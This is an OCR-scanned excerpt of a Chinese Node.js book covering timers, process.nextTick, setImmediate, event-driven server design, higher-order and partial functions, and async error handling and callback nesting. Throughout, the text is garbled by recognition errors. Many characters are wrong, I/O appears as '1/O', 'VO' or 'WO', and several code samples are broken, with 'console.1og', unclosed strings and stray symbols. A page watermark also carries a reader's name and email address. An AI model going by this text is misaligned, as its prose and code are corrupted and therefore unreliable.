IO 无 关 的 异步 API， 这 一 部 分 也 值得 略微 关注 一 下 ， 它 们 分 别 是 setTimeout() 、setInterval()、 
setImmediate() 和 和 process.nextTick()。 


3.4.1 定时 器 


setTimeout() 和 setInterval() 与 浏览 器 中 的 API 是 一 致 的， 分 别 用 于 单 次 和 多 次 定时 执行 任 
务 。 它 们 的 实现 原理 与 异步 IJO 比 较 类 似 ， 只 是 不 需要 IO 线程 池 的 参与 。 调 用 setTimeout() 或 者 
setInterval() 创 建 的 定时 融会 被 插入 到 定时 需 观 察 者 内 部 的 一 个 红 黑 树 中 。 每 次 Tick 执 行 时 ,会 
从 该 红 黑 树 中 迭代 取出 定时 融 对 象 ， 检 查 是 否 超 过 定时 时 间 ， 如 果 超 过 ， 怠 形成 一 个 事件 ， 它 的 
回调 印 数 将 立即 执行 。 

图 3-14 提 到 的 主要 是 setTimeout() 的 行为 。setInterval() 与 之 相同 ， 区 别 在 于 后 者 是 重复 性 
的 检测 和 执行 。 

定时 需 的 问题 在 于 ， 它 并 非 精 确 的 〈 在 容 狼 范围 内 )。 尽 管事 件 循 环 十 分 快 ， 但 是 如 采 某 一 
次 循环 占用 的 时 间 较 多 ， 那 么 下 次 循环 时 ， 它 也 许 已 经 超时 很 人 了 。 璧 如 通过 setTimeout () 设 定 
一 个 任务 在 10 刘 秒 后 执行 ,但 是 在 9 坚 秒 后 ， 有 一 个 任务 占用 了 5 曼 秒 的 CPU 时 间 片 ， 再 次 轮 到 和 定 
时 从 执 行 时 ， 时 间 惑 已 经 过 期 4 蝶 秒 。 
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setTimeout() 事件 循环 timer handles 


放 进 主 循 坏 
中 的 handles 


图 3-14 ”setTimeout() 的 行为 


3.4.2 process.nextTick() 


在 未 了 解 pfocess.nextTick() 之 前 ， 很 多 人 也 许 为 了 立即 异步 执行 一 个 任务 ， 会 这 样 调用 
setTimeout() 来 达到 所 需 的 效果 : 


setTimeout(function () { 
// TODO 


}, 0); 

由 于 事件 循环 自身 的 特点 ， 定 时 器 的 精确 度 不 够 。 而 事实 上 ， 采 用 定时 器 需要 动用 红 黑 树 ， 
创建 定时 器 对 象 和 迭代 等 操作 ， 而 setTimeout(fn，o0) 的 方式 较为 浪费 性 能 。 实 际 上 ， 
process.nextTick() 方 法 的 操作 相对 较为 轻 量 ， 具 体 代 码 如 下 : 


process.nextTick = function(callback) { 
// on the way out, don't bother. 
// it won't get fired anyway 
if (process. exiting) return; 


if (tickDepth >= process.maxTickDepth) 
maxTickWarn(); 


var tock = { callback: callback }; 
if (process.domain) tock.domain = process.domain; 
nextTickQueue.push(tock); 
if (nextTickQueue.length) { 
process. needTickCallback(); 
} 
}; 
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每 次 调用 process.nextTick() 方 法 ， 只 会 将 回调 函数 放 入 队列 中 ， 在 下 一 轮 Tick 时 取出 执行 。 
定时 表 中 采用 红 黑 树 的 操作 时 间 复 杂 度 为 0(1g(n) ) ，nextTick() 的 时 间 复 杂 度 为 0(1)。 相 较 之 下 ， 


process .nextTick() 更 高 效 。 


3.4.3 setImmediate() 


setImmediate() 方 法 与 process.nextTick() 方 法 十 分 类 似 , 都 是 将 回调 函数 延迟 执行 。 在 Node 
v0.9.1 之 前 ，setImmediate() 还 没有 实现 ， 那 时 候 实 现 类 似 的 功能 主要 是 通过 process.nextTick() 
来 完成 ， 该 方法 的 代码 如 下 所 示 : 
process.nextTick(function () { 
console.log(' 延 迟 执行 ' ); 


0 

上 上 述 代 人 码 的 输出 结果 如 下 : 

正常 执行 

延迟 执行 

而 用 setImmediate() 实 现时 ， 相 关 代 码 如 下 : 


setImmediate(function () { 
console.1og(' 延 迟 执行 ); 


}); 
console.log(' 正 常 执行 '); 


其 结果 完全 一 样 : 

正常 执行 

延迟 执行 

但 是 两 者 之 间 其 实 是 有 细微 差别 的 。 将 它们 放 在 一 起 时 ， 又 会 是 怎样 的 优先 级 呢 。 示 例 代码 
如 下 : 


process.nextTick(function () { 
console.log('nextTick 廷 迟 执 行 '); 


了 
setImmediate(function () { 
console.1og(' setImmediate 算 迟 执 行 ) 


JJ 
console.log(' 正 常 执行 ' ); 


其 执行 结果 如 下 : 
正常 执行 
nextTick 廷 迟 执 行 
setImmediate 彼 迟 执 行 


从 结果 里 可 以 看 到 ，process.nextTick() 中 的 回调 函数 执行 的 优先 级 要 高 于 setImmediate()。 
这 里 的 原因 在 于 事件 循环 对 观察 者 的 检查 是 有 先后 顺序 的 ，process .nextTick() 属 于 idle 观 察 者 ， 
setImmediate() 属 于 check 观 察 者 。 在 每 一 个 轮 循环 检查 中 ,idle 观 察 者 先 于 1/O 观 察 者 ，I/O 观 察 者 
先 于 check 观 察 者 。 
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在 具体 实现 上 ，process.nextTick() 的 回调 函数 保存 在 一 个 数组 中 ，setImmediate() 的 结果 
则 是 保存 在 链表 中 。 在 行为 上 ，process.nextTick() 在 每 轮 循环 中 会 将 数组 中 的 回调 函数 全 部 执 
行 完 ， 而 setImmediate() 在 每 轮 循环 中 执行 链表 中 的 一 个 回调 子 数 。 如 下 的 示例 代码 可 以 佐证 : 


// 加 入 两 个 nextTick() 的 回调 耶 数 

process.nextTick(function () { 
console.log('nextTick 迁 迟 执 行 1' ); 

}); 

process.nextTick(function () { 
console.log('nextTick 廷 迟 执 行 2' ); 

}); 

// 加 入 两 个 setImmediate() 的 回调 洱 数 

setImmediate(function () { 
console.log('setImmediate 廷 迟 执行 1'); 
// 进入 下 次 衢 环 
process.nextTick(function () { 

console.1log(' 强 执 杭 入 '); 

}); 

}); 

setImmediate(function () { 
console.log('setImmediate 廷 迟 执行 2' ); 


}); 
console.log(' 正 常 执行 '); 
其 执行 结果 如 下 : 
正常 执行 
nextTick 算 迟 执行 1 
nextTick 彼 迟 执行 2 
setImmediate 廷 迟 执行 1 


强 执 插入 
setImmediate 延 迟 执行 2 


从 执行 结果 上 可 以 看 出 ， 当 第 一 个 setImmediate() 的 回调 函数 执行 后 ， 并 没有 立即 执行 第 二 
个 ， 而 是 进入 了 下 一 轮 循环 ， 再 次 按 process.nextTick() 优 先 、setImmediate() 次 后 的 顺序 执行 。 
之 所 以 这 样 设计 ， 是 为 了 保证 每 轮 循环 能 够 较 快 地 执行 结束 ， 防 止 CPU 占用 过 多 而 阻塞 后 续 LIO 
调用 的 情况 。 


3.5 ”事件 驱动 与 高 性 能 服务 器 


前 面 主要 介绍 了 异步 的 实现 原理 ,在 这 个 过 程 中 , 我 们 也 基本 勾勒 出 了 事件 驱动 的 实质 ， 即 
通过 主 循环 加 事件 触发 的 方式 来 运行 程序 。 

尽管 本 章 只 用 了 fs.open() 方 法 作为 例子 来 前 述 Node 如 何 实 现 异 步 1O。 而 实质 上 ， 异 步 IO 
不 仅仅 应 用 在 文件 操作 中 。 对 于 网 络 套 接 字 的 处 理 ，Node 也 应 用 到 了 有 异步 1O， 网 络 套 接 字 上 侦 
听 到 的 请 求 都 会 形成 事件 交 给 IO 观察 者 。 事 件 循 环 会 不 俘 地 处 理 这 些 网 络 IO 事 件 。 如 采 
JavaScript 有 传人 回调 函数 ， 这 些 事 件 将 会 最 终 传 递 到 业务 逻辑 层 进行 处 理 。 利 用 Node 构 建 Web 
服务 磊 ， 正 是 在 这 样 一 个 基础 上 实现 的 ， 其 流程 图 如 图 3-15 所 示 。 
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网 络 请 求 《 内 核 ) 事件 循环 {libuv) 


ED 


训 听 端口 进入 循环 “| 
绑 定 请 求 事件 


— ”  , 


oO 人 oN 
发 送 给 1O 观 罕 者 
形成 事件 


事件 的 回调 国 必 
执行 回调 函数 


图 3-15 ”利用 Node 构 建 Web 服 务 右 的 流程 图 


下 面 为 儿 种 经 典 的 服务 融 模 型 ， 这 里 对 比 下 它们 的 优 缺 点 。 
口 同步 式 。 对 于 同步 式 的 服务 ， 一 次 只 能 人 处理 一 个 请 求 ， 并 且 其 余 请 求 都 处 于 等 待 状态 。 
口 每 进程 /每 请 求 。 为 每 个 请 求 启动 一 个 进程 ， 这 样 可 以 处 理 多 个 请 求 ， 但 是 它 不 具备 扩展 
性 ， 因 为 系统 资源 只 有 那么 多 。 
口 每 线程 /每 请 求 。 为 每 个 请 求 启动 一 个 线程 来 处 理 。 尺 管线 程 比 进程 要 轻 量 ,但 是 由 于 
个 线程 都 占用 一 定 内 存 ， 当 大 并 发 请 求 到 来 时 ， 内 存 将 会 很 快 用 光 ， 导 致 服务 融 缓慢 。 
每 线程 /每 请 求 的 扩展 性 比 每 进程 /每 请 求 的 方式 要 好 ， 但 对 于 大 型 站 点 而 言 依然 不 够 。 
每 线程 /每 请 求 的 方式 目前 还 被 Apache 所 采用 。Node 通 过 事件 驱动 的 方式 处 理 请 求 ， 无 须 为 
每 一 个 请 求 创 建 额外 的 对 应 线程 ,可 以 省 挥 创建 线程 和 销 磺 线程 的 开销 , 同时 操作 系统 在 调度 任 
务 时 因为 线程 较 少 ， 上 下 文 切 换 的 代价 很 低 。 这 使 得 服务 器 能 够 有 条 不 痉 地 处 理 请 求 ， 即 使 在 大 
量 连接 的 情况 下 ， 也 不 受 线程 上 下 文 切换 开销 的 影响 ， 这 是 Node 高 性 能 的 一 个 原因 。 
事件 驱动 融 来 的 高 效 已 经 渐渐 开始 为 业界 所 重视 。 知 名 服务 右 Nginx， 也 所 人 弃 了 多 线程 的 方 
式 ， 采 用 了 和 Node 相 同 的 事件 驱动 。 如 今 ，Nginx 大 有 取代 Apache 之 势 。Node 具 有 与 Nginx 相 同 
的 特性 ， 不同 之 处 在 于 Nginx 采 用 纯 C 写 成 ， 性 能 较 高 ,但 是 它 仪 适合 于 做 Web 服 务 右 ， 用 于 反问 
代理 或 负载 均衡 等 服务 , 在 处 理 具体 业务 方面 较为 欠缺 。Node 则 是 一 套 高 性 能 的 平台 , 可 以 利用 
它 构建 与 Nginx 相 同 的 功能 ， 也 可 以 处 理 各 种 具体 业务 ， 而 且 与 背后 的 网 络 保持 异步 畅通 。 两 者 
相 比 ，Node 没 有 Nginx 在 Web 服 务 需 方面 那么 专业 ， 但 场景 更 大 ， 日 身 性 能 也 不 错 。 在 实际 项 目 
中 ， 我 们 可 以 结合 它们 各 目 优 点 ， 以 达到 应 用 的 最 优 性 能 。 
事实 上 ，Node 的 异步 IO 并 非 首 创 ， 但 却 是 第 一 个 成 功 的 平台 。 在 那 之 前 ， 也 有 一 些 知 名 的 
基于 事件 驱动 的 实现 ， 具 体 如 下 所 示 。 
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口 Ruby 的 Event Machine。 

OD PerlFjAnyEvent。 

口 Python 的 Twisted。 

在 这 些 平台 上 采用 事件 驱动 的 方式 时 , 需要 花 一 定 精力 了 解 这 些 库 。 这 些 库 没 能 成 功 的 原因 
则 是 同步 VO 库 的 存在 。 本 章 描 述 的 异步 VO 实现 ， 其 主旨 是 使 WO 操作 与 CPU 操 作 分 离 。 奈 何 这 些 
语言 平台 上 的 标准 WO 库 都 是 阻 寨 式 的 , 一 旦 事件 循环 中 存在 阻塞 1/O, 将 导致 其 余 IO 无 法 立即 进 
行 ， 性 能 会 急剧 下 降 ， 其 效果 类 似 于 同步 式 服务 ， 其 他 请 求 将 不 能 立即 处 理 。 

因为 在 这 些 成 熟 的 垣 言 平台 上 ， 异步 不 是 主流 ,尽管 有 这 些 事 件 驱 动 的 实现 库 , 但 开发 者 总 
会 习惯 性 地 采用 同步 IO 库 ， 这 导致 预想 的 高 性 能 直接 落空 。Ryan Dahl 在 评估 他 最 早 的 选 型 时 ， 
Lua 一 度 是 最 贴近 他 选 型 的 语言 ， 但 是 由 于 标准 1/O 库 是 同步 WO， 他 知道 即使 完成 这 样 一 个 事件 
驱动 的 实现 ， 也 将 不 会 得 到 较 大 范围 的 使 用 。 在 Node 广 泛 流行 之 后 ， 社 区 的 Tim Caswell 将 Node 
的 这 套 思 想 重 新 移植 到 了 Lua 平 台 ， 该 项 目 叫 luavit。 

JavaScript 中 的 作用 域 和 困 数 在 浏览 锅 端 已 有 成 辑 的 应 用 ， 也 很 好 地 帮助 了 Ryan Dahl 实 现 它 
的 想法 。JavaScript 在 服务 需 端 近乎 空白 ， 使 得 Node 没 有 任何 历史 包容 ， 而 Node 在 性 能 上 的 表现 
使 得 它 一 下 子 就 在 社区 中 流行 起 来 了 。 


3.6 总结 


本 章 介 绍 了 异步 WO 和 为 一 些 非 VO 的 异步 方法 。 可 以 看 出 ， 事 件 循 环 是 异步 实现 的 核心 ， 它 
与 浏 览 硕 中 的 执行 模型 基本 保持 了 一 致 。 而 像 古老 的 Rhino， 尽 管 是 较 早 天 能 在 服务 硕 端 运行 的 
JavaScript 运 行 时 ， 但 是 执行 模型 并 不 像 浏 览 硕 采用 事件 驱动 ， 而 是 像 其 他 语言 一 般 采 用 同步 IO 
作为 主要 模型 ， 这 造成 它 在 性 能 上 无 所 发 挥 。Node 正 是 依靠 构建 了 一 套 完善 的 高 性 能 异步 1/O 框 
外 ， 打 破 了 JavaScript 在 服务 着 闪 止 步 不 前 的 局 面 。 


3.7 参考 资源 


本 章 参 考 的 资源 如 下 : 

DQ http://cnodejs.org/blog/?p=244 

D http://cnodejs.org/blog/?p=2426 

DQ http://cnodejs.org/blog/?p=2489 

DQ http://nodejs.org/nodecont.pdf 

DQ http://blog.dccemx.com/2011/04/select-poll-epoll-in-kernel/ 

DQ http:/www.ibm.com/developerworks/cn/linux/l-async/ 

DQ http://twistedmatrix.com/trac/ 

口 http://luvit.10/ 

DQ http://forum.nginx.org/read.php?2,113524,113587#msg-113587 
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异步 编程 


有 异步 1O， 必 有 异步 编程 。 

上 一 章 描 述 了 Node 如 何 通 过 事件 循环 实现 异步 , 包括 与 各 种 IO 多 路 复 用 搭配 实现 的 异步 IO 
以 及 与 10 无 关 的 异步 。 Node 是 首 个 将 异步 大 规模 带 到 应 用 层面 的 平台 , 它 从 内 在 运行 机 制 到 API 
的 设计 ， 无 不 透露 出 异步 的 气息 来 。 异 步 的 高 性 能 为 它 带 来 了 高 度 的 赞誉 ， 而 异步 编程 也 为 其 惠 
来 部 分 的 旗 毁 。 

前 述 章 节 中 亦 描 述 过 异步 IO 在 应 用 层面 不 流行 的 原因 ， 那 便 是 异步 编程 在 流程 控制 中 ， 业 
务 表达 并 不 太 适 合 自 然 语言 的 线性 思维 习惯 。 较 少 人 能 适应 直接 面 对 事 件 驱 动 进行 编程 , 唯 独 对 
它 熟 悉 的 主要 是 GUI 开发 者 ， 如 前 端 工 程 师 或 GUI 工程 师 。 前 端 工程 师 习 以 为 常 并 能 够 娴熟 地 处 
理 各 种 DOM 事 件 和 浏览 器 中 的 事件 。Ryan Dahl 偏 好 事件 驱动 ， 而 Java Script 在 浏览 需 中 也 正 契 合 
事件 驱动 的 执行 过 程 , 这 也 使 得 前 后 端的 JavaScript 在 执行 原理 和 风格 上 都 趋 于 一 致 。 虽然 语言 执 
行 在 不 同 的 环境 ， 但 除了 宿主 提供 的 API 有 所 不 同 外 ， 并 不 让 人 觉得 是 一 门 新 语言 。 

V8 和 异步 IO 在 性 能 上 带 来 的 提升 , 前 后 端 JavaScript 编 程 风 格 一 致 ， 是 Node 能 够 迅速 成 功 并 
流行 起 来 的 主要 原因 。 


4.1 涵 数 式 编程 


在 开始 异步 编程 之 前 ， 先 得 知晓 JavaScript 现 今 的 回调 也 数 和 深层 航 大 的 来 龙 去 脉 。 在 
JavaScript 中 ， 洱 数 ( function ) 作为 一 等 公民 ， 使 用 上 非常 自由 ， 无 论调 用 它 ， 或 者 作为 参数 ， 
或 者 作为 返回 值 均 可 。 国 数 的 灵活 性 是 JavaScript 比 较 吸 引 人 的 地 方 之 一 , 它 与 古老 的 Lisp 语 言 颇 
具 渊 源 。JavaScript 在 诞生 之 前 ，Brendan Eich 借 鉴 了 Scheme 语言 (Scheme 作为 Lisp 的 派生 )， 吸 
收 了 函数 式 编程 的 精华 ， 将 函数 作为 一 等 公民 便 是 典型 案例 。 

鉴于 子 数 式 编程 在 近年 来 重新 火热 ， 而 前 并 类 图 书 中 较 少 述 及 这 部 分 知识 ， 这 里 稍 作 补 充 ， 
为 它 是 JavaScript 异 步 编 程 的 基础 。 


4.1.1 高 阶 函数 


在 通 稼 的 声言 中 ,函数 的 参数 只 接受 基本 的 数据 类 型 或 是 对 象 引用 , 返回 值 也 只 是 基本 数据 
类 型 和 对 象 引 用 。 下 面 的 代码 为 常规 的 参数 传递 和 返回 : 
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function foo(x) { 
return X; 


高 阶 函数 则 是 可 以 把 孔 数 作为 参数 ， 或 是 将 函数 作为 返回 值 的 函数 ， 如 下 面 的 代码 所 示 : 
function foo(x) { 

return function () { 
return X; 
}; 
} 


高 阶 函 数 可 以 将 函数 作为 输入 或 返回 值 的 变化 看 起 来 虽 细 小 ,但 是 对 于 C/C++ 语言 而 言 ， 遂 
过 指针 也 可 以 达到 相同 的 效果 。 但 对 于 程序 编写 ， 高 阶 疯 数 则 比 普通 的 孙 数 要 灵活 许多 。 除了 通 
党 意义 的 水 数 调用 返回 外 ， 还 形成 了 一 种 后 续 传 递 风 格 ( Continuation Passing Style ) 的 结 采 接收 
方式 , 而 非 单一 的 返回 值 形式 。 后 续 传 递 风格 的 程序 编写 将 函数 的 业务 重点 从 返回 值 转移 到 了 回 
调 函 数 中 : 

function foo(x, bar) { 


return bar(x); 


} 

以 上 面 的 代码 为 例 ， 对 于 相同 的 foo() 函数， 传人 的 bar 参 数 不 同 ， 则 可 以 得 到 不 同 的 结果 。 
一 个 经 典 的 例子 便 是 数组 的 sort() 方 法 ， 它 是 一 个 货真价实 的 高 阶 函数 ,可 以 接受 一 个 方法 作为 
参数 参与 运算 排序 : 


var points = [40, 100, 1, 5, 25, 10]; 
points.sort(function(a, b) { 
return a - b; 


}); 
// [| 1, 5, 10, 25, 40，100 | 


通过 改动 sort() 方 法 的 参数 ,可 以 决定 不 同 的 排序 方式 ， 从 这 里 可 以 看 出 高 阶 函 数 的 灵活 性 
来 。 结合 Node 提 供 的 最 基本 的 事件 模块 可 以 看 到 , 事件 的 处 理 方 式 正 是 基于 局 阶 函数 的 特性 来 完 
成 的 。 在 目 定义 事件 实例 中 , 通过 为 相同 事件 注册 不 同 的 回调 函数 , 可 以 很 灵活 地 人 处理 业务 逻辑 。 
示例 代码 如 下 : 


Var emitter = new events.EventEmitter(); 
emitter.on('event foo', function () { 

// TODO 
]) 


本 书 时 和 常 提 到 事件 可 以 十 分 方便 地 进行 复杂 业务 逻辑 的 解 厢 ， 它 其 实 受 益 于 高 阶 疯 数 。 
高 阶 疯 数 在 JavaScript 中 比比 和 丝 是 ， 其 中 ECMAScript5 中 提供 的 一 些 数组 方法 ( forEach()、 
map()、reduce()、reduceRight()、filter()、every()、some() ) 十 分 典 弄 


4.1.2 偏 函 数 用 法 


偏 函 数 用 法 是 指 创 建 一 个 调用 为 外 一 个 部 分 
用 法 。 这 句 话 相对 较为 抛 口 ， 下 面 我 们 以 实例 来 说 明 : 


型 。 


参数 或 变量 已 经 预 置 的 函数 一 一 的 函数 的 
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var toString = Object.prototype.toString; 


var isString = function (obj) { 
return toString.call(obj) == '[object String]'; 


}; 
var isFunction = function (obj) { 

return toString.call(obj) == '[object Function]'; 
}; 


在 JavaScript 中 进行 类 型 判断 时 , 我 们 通常 会 进行 类 似 上 述 代 码 的 方法 定义 。 这 段 代码 固然 不 
复杂 ,只 有 两 个 函数 的 定义 , 但 是 里 面 存 在 的 问题 是 我 们 需要 重复 去 定义 一 些 相 似 的 函数 ， 如 果 
有 更 多 的 isXXX() ， 就 会 出 现 更 多 的 宛 余 代 码 。 为 了 解决 重复 定义 的 问题 ， 我 们 引入 一 个 新 函数 ， 
这 个 新 图 数 可 以 如 工 三 一 样 批量 创建 一 些 类 似 的 果 数 。 在 下 面 的 代码 中 ,我 们 通过 isType() 因数 
预先 指定 type 的 值 ， 然 后 返回 一 个 新 的 限 数 : 


var isType = function (type) { 
return function (obj) { 
return toString.call(obj) == '[object ' + type + ']'; 
}; 
}; 


var isString = isType('String'); 
var isFunction = isType('Function'); 


可 以 看 出 ， 引 入 isType() 函 数 后， 创建 isString()、isFunction() 也 数 就 这 得 简单 多 了 。 这 
种 通过 指定 部 分 参数 来 产生 一 个 新 的 定制 函数 的 形式 就 是 偏 函 数 。 
偏 匈 数 应 用 在 异步 编程 中 也 十 分 常见 , 着 名 类 库 Underscore 提 供 的 after() 方 法 即 是 偏 阴 数 应 
用 ， 其 定义 如 下 : 
.after = function(times, func) { 
if (times <= 0) return func(); 


return function() { 
if (--times < 1) { return func.apply(this, arguments); } 


Fe- 


这 个 函数 可 以 根据 传 入 的 times 参 数 和 具体 方法 ， 生 成 一 个 需要 调用 多 次 才 真 正 执 行 实际 也 
数 的 函数 。 


4.2 异步 编程 的 优势 与 难点 


经 的 单线 程 模型 在 同步 IO 的 影响 下 , 由 于 IO 调用 缓慢 , 在 应 用 层面 导致 CPU 与 VO 无 法 重 
登 进行。 为 了 照顾 编程 人 员 的 阅读 思维 习惯 ,同步 WO 盛行 了 很 多 年 。 但 在 日 新 月 寞 的 拉 术 大 淹 
面前 ,性 能 问题 摆 在 了 编程 人 员 的 面前 。 提升 性 能 的 方式 过 去 多 用 多 线程 的 方式 解决 , 但 是 多 线 
程 的 引入 在 业务 逻辑 方面 制造 的 且 烦 也 不 少 。 从 操作 系统 调度 多 线程 的 上 下 文 切换 开销 , 到 实际 
编程 里 的 锁 、 同 步 等 问题 ， 让 开发 人 员 头 疼 的 时 候 也 并 不 少 。 天 一 个 解决 IO 性 能 的 方案 是 通过 
C/C++ 调用 操作 系统 的 层 接口 ， 目 己 手工 完成 寞 步 WO, 这 能 够 达到 很 高 的 性 能 , 但 是 调试 和 开发 


图 灵 社 区 会 员 Eric Liu(guangqiang.dev@gmail.com) 专 享 尊重 版 权 


4.2 异步 编程 的 优势 与 难点 69 
门槛 均 十 分 高 ， 在 帮助 业务 解决 问题 上 ， 需 要 花费 较 大 的 精力 。Node 利 用 JavaScript 及 其 内 部 异 
步 库 ,将 异步 直接 提升 到 业务 层面 ， 这 是 一 种 创新 。 
4.2.1 优势 


Node 种 来 的 最 大 特性 英 过 于 基于 事件 驱动 的 非 阻 塞 WVO 模 型 ， 这 是 它 的 灵 瑰 所 在 。 非 阻塞 1/O 
可 以 使 CPU 与 IO 并 不 相互 依赖 等 待 ， 让 资源 得 到 更 好 的 利用 。 对 于 网 络 应 用 而 言 ， 并 行人 带 来 的 
想象 空间 更 大 , 延展 而 开 的 是 分 布 式 和 云 。 并 行使 得 各 个 单 点 之 间 能 够 更 有 效 地 组 织 起 来 ,这 也 
是 Node 在 云 计 算 厂 i 受 青睐 的 原因 ， sien 图 。 


ee 


图 4-1 ”异步 WO 调用 的 示意 图 
如 果 采 用 传统 的 同步 VO 模型 ， 分 布 式 计算 a 的 折扣 将 会 是 明显 的 ， 如 图 4-2 所 示 。 


同步 WO 调用 和 用 1 
-一 返回 数据 一 一 
WO 调用 2 
-一 返回 数据 一 


图 4-2 ”同步 IO 调用 示意 图 
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在 第 3 章 中 , 我 们 讨论 过 Node 实 现 异步 1/O 的 原理 。 利 用 事件 循环 的 方式 ，JavaScript 线 程 像 一 
个 分 配 任 务 和 处 理 结 果 的 大 管家 ，LIO 线 程 池 里 的 各 个 LO 线程 都 是 小 二 ， 负 责 艾 殉 业 业 地 完成 分 
配 来 的 任务 ,小 二 与 管家 之 间 互 不 依赖 ,所 以 可 以 保持 整体 的 高 效率 。 这 个 利用 事件 循环 的 经 典 
调度 方式 在 很 多 地 方 都 存在 应 用 ， 最 典型 的 是 UI 编 程 ， 如 iOS 应 用 开发 等 。 

这 个 模型 的 缺点 则 在 于 管家 无 法 承担 过 多 的 细节 性 任务 , 如 果 承 担 太 多 , 则 会 影响 到 任务 的 
调度 ， 管 家 忙 个 不 停 ， 小 二 却 得 不 到 活 干 ， 结 局 则 是 整体 效率 的 降低 。 

换言之 , Node 是 为 了 解决 编程 模型 中 阻塞 1/O 的 性 能 问题 的 , 采用 了 单线 程 模型 , 这 导致 Node 
更 像 一 个 处 理 IO 密 集 问题 的 能 手 ， 而 CPU 密集 型 则 取决 于 管家 的 能 耐 如 何 。 

在 第 1 章 中 ， 从 斐 波 那 契 数列 计算 的 测试 结果 中 可 以 看 到 ， 这 个 管家 具体 的 能 力 如 何 。 如 果 
形象 地 去 评判 的 话 ，C 语 言 是 性 能 至 尊 , 得 益 于 V8 性 能 的 Node 则 是 一 流 武 林 高 手 , 在 具备 武功 秘 
发 的 情况 下 ( 调用 C/C++ 扩展 模块 )，Node 的 能 力 可 以 通 近 顶尖 之 列 。 

由 于 事件 循环 模型 需要 应 对 海量 请 求 , 海量 请 求 同 时 作用 在 单线 程 上 , 就 需要 防止 任何 一 个 
计算 耗费 过 多 的 CPU 时 间 片 。 至 于 是 计算 密集 型 ， 还 是 VO 密集 型 ， 只 要 计算 不 影响 异步 1O 的 调 
度 ， 那 就 不 构成 问题 。 建 议 对 CPU 的 耗 用 不 要 超过 10 ms ， 或 者 将 大 量 的 计算 分 解 为 诸多 的 小 量 
计算 , 通过 setImmediate() 进 行 调度 。 只 要 合理 利用 Node 的 异步 模型 与 V8 的 高 性 能 ， 就 可 以 充分 
发 挥 CPU 和 LO 资源 的 优势 。 


4.2.2 ”难点 


Node 令 异步 编程 如 此 风行 ， 这 也 是 异步 编程 首次 大 规模 出 现在 业务 层面 。 它 借助 异步 IO 模 
型 及 V8 高 性 能 引擎 ， 突 破 单 线程 的 性 能 瓶 令 ， 让 JavaScript 在 后 端 达 到 实用 价值 。 另 一 方面 ， 它 
也 统一 了 前 后 端 JavaScript 的 编程 模型 。 对 于 异步 编程 市 来 的 新 鲜 感 与 不 适 感 , 开发 者 们 有 看 不 同 
程度 的 感受 。 接 下 来 ， 我 们 梳理 一 下 异步 编程 的 难点 ， 以 更 好 地 利用 Node。 

1. 难点 1: 异常 处 理 

过 去 我 们 处 理 异常 时 ， 通 常 使 用 类 Java 的 try/catch/final 语 句 块 进行 异常 捕获 ， 示 例 代 人 码 
如 下 : 


try { 
JSON.parse(json); 
} catch (e) { 
// TODO 

} 

但 是 这 对 于 异步 编程 而 言 并 不 一 定 适 用 。 第 3 章 提 到 过 ， 异 步 JO 的 实现 主要 包含 两 个 阶段 : 
提交 请 求 和 处 理 绪 采 。 这 两 个 阶段 中 间 有 事件 循环 的 调度 ,两 者 彼此 不 关联 。 异 步 方法 则 通 稍 在 
第 一 个 阶段 提交 请 求 后 立即 返回 ， 因 为 异常 并 不 一 定 发 生 在 这 个 阶段 ，try/catch 的 功效 在 此 处 
不 会 发 挥 任何 作用 。 异 步 方 法 的 定义 如 下 所 示 : 

var async = function (callback) { 


process.nextTick(callback); 


}; 
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调用 async() 方 法 后 ，callback 被 存放 起 来 ， 直 到 下 一 个 事件 循环 〈Tick ) 才 会 取出 来 执行 。 
壬 试 对 异步 方法 进行 try/catch 操 作 只 能 捕获 当 次 事件 循环 内 的 寞 第 ,对 callback 执 行 时 抛 出 的 寞 
党 将 无 能 为 力 ， 示 例 代 码 如 下 : 


try { 
async(callback); 


} catch (e) { 
// TODO 


} 
Node 在 处 理 异常 上 形成 了 一 种 约定 ,将 异常 作为 回调 函数 的 第 一 个 实 参 传 回 ， 如 果 为 空 值 ， 


则 表明 异步 调用 没有 有 寞 第 抛 出 : 


async(function (err, results) { 
// TODO 


}); 
在 我 们 目 行 编写 的 异步 方法 上 ， 也 需要 去 仁 循 这 样 一 些 原则 : 
原则 一 : 必须 执行 调用 者 传人 的 回调 函数 ; 
原则 二 :正确 传递 回 异常 供 调 用 者 判断 。 
示例 代码 如 下 : 
var async = function (callback) { 

process.nextTick(function() { 

var results = something; 


if (error) { 
return callback(error); 


} 
callback(null, results); 
}); 
}; 
在 异步 方法 的 编写 中 , 另 一 个 容易 犯 的 错误 是 对 用 户 传递 的 回调 函数 进行 异常 捕获 , 示例 代 


但 如 下 : 


try { 
req.body = JSON.parse(buf, options.reviver); 


callback(); 
} catch (err)t{ 
err.body = buf; 
err.status = 400; 
callback(err); 
} 
上 述 代码 的 意图 是 捕获 J]SON.parse() 中 可 能 出 现 的 异常 ,但 是 却 不 小 心包 含 了 用 户 传 递 的 回 
调 函 数 。 这 意味 着 如 果 回调 函数 中 有 异常 掩 出 ， 将 会 进入 catch() 代 码 块 中 执行 ， 于 是 回调 函数 


将 会 被 执行 两 次 。 这 显然 不 是 预期 的 情况 ， 可 能 导致 业务 混乱 。 正 确 的 捕获 应 当 为 : 


try { 
req.body = JSON.parse(buf, options.reviver); 


} catch (err)t{ 
err.body = buf; 
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err.status = 400 
return callback(err); 


} 

callback(); 

在 编写 异步 方法 时 ， 只 要 将 异常 正确 地 传递 给 用 户 的 回调 方法 即 可 ， 无 须 过 多 处 理 。 
2. 难点 2， 函数 赃 套 过 深 


这 或 许 是 Node 被 人 诉 病 最 多 的 地 方 。 在 前 妆 开 发 中 ，DOM 事 件 相对 而 言 不 会 存在 互相 依 赖 
或 需要 多 个 事件 一 起 协作 的 场景 , 较 少 存在 异步 多 级 依赖 的 情况 。 下 面 的 代码 为 彼此 独立 的 DOM 
事件 绑 定 : 


$(selector).click(function (event) { 
// TODO 

}); 

$(selector).change(function (event) { 
// TODO 


]) 
但 是 对 于 Node 而 言 ， 事 务 中 存在 多 个 异步 调用 的 场景 比比 凤 是 。 比 如 一 个 遇 历 目录 的 操作 ， 
其 代码 如 下 : 
fs.readdir(path.join( dirname, '..'), function (err, files) { 
files.forEach(function (filename, index) { 


fs.readFile(filename, 'utf8', function (err, file) { 
// TODO 


对 于 上 述 场 景 ， 由 于 两 次 操作 存在 依赖 关系 ， 函 数 般 倒 的 行为 也 许 情 有 可 原 。 那 么 ,在 网 页 
演 染 的 过 程 中 , 通常 需要 数据 、 模 板 、 资 源 文 件 ， 这 三 者 互相 之 间 并 不 依赖 , 但 最 终 演 染 结 采 中 
